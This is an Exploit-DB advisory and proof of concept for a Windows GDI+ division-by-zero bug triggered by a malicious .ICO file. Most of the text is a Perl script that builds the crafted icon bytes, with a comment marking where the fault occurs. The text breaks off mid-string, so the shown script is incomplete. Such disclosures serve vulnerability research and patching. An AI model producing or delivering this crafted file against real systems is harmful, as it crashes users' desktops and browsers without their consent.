Exploit-DB #6588
Description: Microsoft Windows - GDI+ '.ICO' Remote Division By Zero
Type: dos
Platform: windows
Date: 2008-09-26
Author: laurent gaffiÃ©

Exploit:
MS Windows GDI+ .ico Remote Division By Zero

Application: GDIPLUS.DLL

Web Site: http://www.microsoft.com/

Platform: Windows *

Bug: Division By Zero

Tested agains: XP SP3 fully patched

Note: This have nothing to do with http://milw0rm.com/exploits/4044
-------------------------------------------------------

1) Introduction

2) Bug

3) Proof of concept

4) Credits

================

1) Introduction

================

"The Microsoft Windows graphics device interface (GDI) enables applications to use graphics
and formatted text on both the video display and the printer. Windows-based applications do 
not access the graphics hardware directly. Instead, GDI interacts with device drivers on 
behalf of applications."

=======

2) Bug

=======

GDIPLUS fails to handle exceptional condition when opening malicious .ico files.
This result in a remote explorer crash (via IE), and a constant loop crash if the ico file
is located on the desktop

==================

3)Proof of concept

==================

#!/usr/bin/perl

use strict;

my $icofile = 
"\x00\x00\x01\x00\x0c\x00\x30\x30\x10\x00\x01\x00\x04\x00\x68\x06\x00\x00\xc6\x00".
"\x00\x00\x20\x20\x10\x00\x01\x00\x04\x00\xe8\x02\x00\x00\x2e\x07\x00\x00\x18\x18".
"\x10\x00\x01\x00\x04\x00\xe8\x01\x00\x00\x16\x0a\x00\x00\x10\x10\x10\x00\x01\x00".
"\x04\x00\x28\x01\x00\x00\xfe\x0b\x00\x00\x30\x30\x00\x00\x01\x00\x08\x00\xa8\x0e".
"\x00\x00\x26\x0d\x00\x00\x20\x20\x00\x00\x01\x00\x08\x00\xa8\x08\x00\x00\xce\x1b".
"\x00\x00\x18\x18\x00\x00\x01\x00\x08\x00\xc8\x06\x00\x00\x76\x24\x00\x00\x10\x10".
"\x00\x00\x01\x00\x08\x00\x68\x05\x00\x00\x3e\x2b\x00\x00\x30\x30\x00\x00\x01\x00".
"\x20\x00\xa8\x25\x00\x00\xa6\x30\x00\x00\x20\x20\x00\x00\x01\x00\x20\x00\xa8\x10".
"\x00\x00\x4e\x56\x00\x00\x18\x18\x00\x00\x01\x00\x20\x00\x88\x09\x00\x00\xf6\x66".
"\x00\x00\x10\x10\x00\x00\x01\x00\x20\x00\x68\x04\x00\x00\x7e\x70\x00\x00\x28\x00".
"\x00\x00\x30\x80\x00\x00\x00". # it happens here
"\x00\x00\x00\x01\x00\x04\x00\x00\x00\x00\x00\x80\x04\x00".
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
"\x00\x00\x00\x80\x00\x00\x80\x00\x00\x00\x80\x80\x00\x80\x00\x00\x00\x80\x00\x80".
"\x00\x80\x80\x00\x00\x80\x80\x80\x00\xc0\xc0\xc0\x00\x00\x00\xff\x00\x00\xff\x00".
"\x00\x00\xff\xff\x00\xff\x00\x00\x00\xff\x00\xff\x00\xff\xff\x00\x00\xff\xff\xff".
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x07\x66\x66\x66\x67\x80\x00\x00\x00\x00".
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x66\x7e\x8f\xf8\xff\x88\xe7".
"\x66\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x07\x67\x8f\xf8\x86".
"\x6c\x66\x7e\x88\xf8\x76\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x08\x6e".
"\xff\x86\x6c\x6c\x66\x6c\x6c\x66\x68\x8f\x66\x80\x00\x00\x00\x00\x00\x00\x00\x00".
"\x00\x00\x66\xf8\x76\xc6\x66\x66\x66\x66\x66\x6c\x66\x6e\xf8\x66\x00\x00\x00\x00".
"\x00\x00\x00\x00\x00\x06\x8f\x8c\x66\x66\xc6\xec\x6c\xec\x66\xc6\x6c\x6c\x68\xf8".
"\x60\x00\x00\x00\x00\x00\x00\x00\x00\x68\xf6\x66\x6c\xe6\x6c\x66\x66\x66\x66\xe6".
"\x66\x66\x6c\x6f\x86\x00\x00\x00\x00\x00\x00\x00\x06\xf8\x6c\x6c\xe6\x6c\x6e\x66".
"\xce\x6c\x6c\x6c\x6c\x6c\x66\x66\x8f\x60\x00\x00\x00\x00\x00\x00\x6f\x8c\x66\xe6".
"\x6c\x66\x66\xc6\x66\x66\xe6\x66\x6e\x66\x66\xc6\x68\x86\x00\x00\x00\x00\x00\x06".
"\x88\x66\xe6\xc6\x66\xe6\xce\x6e\xc6\xc6\xc6\x66\xc6\x6c\x66\x6c\x66\x88\x60\x00".
"\x00\x00\x00\x68\xf6\xc6\xc6\x66\xec\x66\x66\xc6\x6e\x6e\x66\xce\x66\x6e\xc6\xe6".
"\x6c\x6f\x86\x00\x00\x00\x08\x6f\xff\x8e\x66\xec\x66\xce\xce\x66\xc6\x6c\x6e\x66".
"\xc6\xc6\x66\xc6\x66\x66\xf6\x80\x00\x00\x06\x8f\xff\xff\x7c\x66\xe6\x66\x66\xce".
"\x6e\x66\xc6\xc6\xe6\xef\x8f\x8f\x88\xf8\xf8\x60\x00\x00\x7e\xf6\xff\xff\xff\xec".
"\x6c\xe6\xec\xe6\x6c\xe6\xe6\xe6\xc8\xff\xff\xff\xff\xff\xff\x7e\x00\x00\x6f\x76".
"\x68\xff\xff\xf8\xe6\x6c\x66\x6e\xc6\x6c\x66\xc6\x8f\xff\xff\xff\xff\xf8\x6e\xf4".
"\x00\x00\x78\xec\xe6\x8f\xff\xff\xfe\x6e\x6e\xc6\xe6\xe6\xec\xef\xff\xff\xff\xff".
"\xff\x86\x6c\xf7\x00\x06\x88\x66\xc6\xe7\xff\xff\xff\x87\xce\x6e\xc6\xce\x67\xff".
"\xff\xff\xff\xff\xf6\x6c\x66\x88\xe0\x06\xf6\xce\x6e\xc6\xef\xff\xff\xff\x8e\x66".
"\xe6\xe6\x8f\xff\xff\xff\xff\xf8\x6e\x66\x66\xe8\x60\x07\xf6\xe6\xc6\xe6\xce\x8f".
"\xff\xff\xff\x8c\xec\x68\xff\xff\xff\xff\xff\x86\xc6\xc6\xc6\xcf\x70\x8e\x8c\x66".
"\xe6\xce\x66\xe8\xff\xff\xff\xff\x6e\xff\xff\xff\xff\xff\xf6\xe6\x6e\x66\xe6\x68".
"\xe8\x68\x8e\x6c\xe6\xe6\xec\x6e\x8f\xff\xff\xff\xff\xff\xff\xff\xff\xf8\xec\x6c".
"\x6c\x66\xc6\x68\x86\x68\xec\xe6\x6c\x6c\xe6\xec\xe7\xff\xff\xff\xff\xff\xff\xff".
"\xff\x86\x66\xe6\xe6\x6c\x66\xce\x8c\x6f\x66\x6e\xce\xe6\xec\xe6\xec\xef\xff\xff".
"\xff\xff\xff\xff\x8e\x6e\xce\xc6\xc6\xe6\xe6\x66\xf6\x6f\x6e\xc6\xe6\x6e\xce\x6e".
"\xce\x6e\x8f\xff\xff\xff\xff\xf8\xec\x6c\xe6\x6e\x66\xc6\xc6\xc6\xf6\x68\xc6\xe6".
"\xce\xce\x6e\xce\x6e\xc8\xff\xff\xff\xff\xff\xff\xe6\xe6\x6c\x66\xce\x66\x66\xe6".
"\xf6\x6f\xe6\xce\x6e\x6e\xce\x6e\xce\x8f\xff\xff\xff\xff\xff\xff\xf8\xce\x6e\x6e".
"\x66\xce\x6c\x67\x86\x68\x8e\x6e\xce\xce\x6e\xce\xef\xff\xff\xff\xff\xff\xff\xff".
"\xff\x8e\xc6\xec\x6e\x66\x66\x6e\x8c\x78\xec\x6e\x6e\x6e\xce\x68\xff\xff\xff\xff".
"\xff\x8f\xff\xff\xff\xf8\xe6\xc6\x6c\x6c\xec\x68\x87\xe8\x8e\xce\xc6\xec\xe6\xff".
"\xff\xff\xff\xff\xf8\xee\x8f\xff\xff\xff\xfe\x6e\x6e\x66\x66\x68\xe8\x06\xf6\xe6".
"\xec\xe6\xef\xff\xff\xff\xff\xff\xee\xce\x6e\xff\xff\xff\xff\x8c\x6c\xe6\xce\xcf".
"\x70\x06\xf6\xce\x6e\x68\xff\xff\xff\xff\xff\x8e\xce\xe6\xec\xe8\xff\xff\xff\xf8".
"\xe6\x6c\x66\x6f\x60\x06\x88\xe6\x6e\x8f\xff\xff\xff\xff\xf8\xee\xe6\xec\xe6\xec".
"\xe8\xff\xff\xff\x8e\x6e\x66\x88\x60\x00\x7f\x6e\xcf\xff\xff\xff\xff\xff\xee\xce".
"\xce\xe6\xec\xe6\xe6\x8f\xff\xff\xff\xc6\xce\xf6\x00\x00\x6f\xe8\xff\xff\xff\xff".
"\xff\xfe\xce\xee\xec\xec\xee\x6e\xce\x6e\x8f\xff\xff\xf8\x67\xf6\x00\x00\x86\xff".
"\xff\xff\xff\xff\xf8\xee\xee\xce\x6e\xee\x6e\xce\x6e\xc6\xe6\x8f\xff\xff\x8f\x68".
"\x00\x00\x06\x8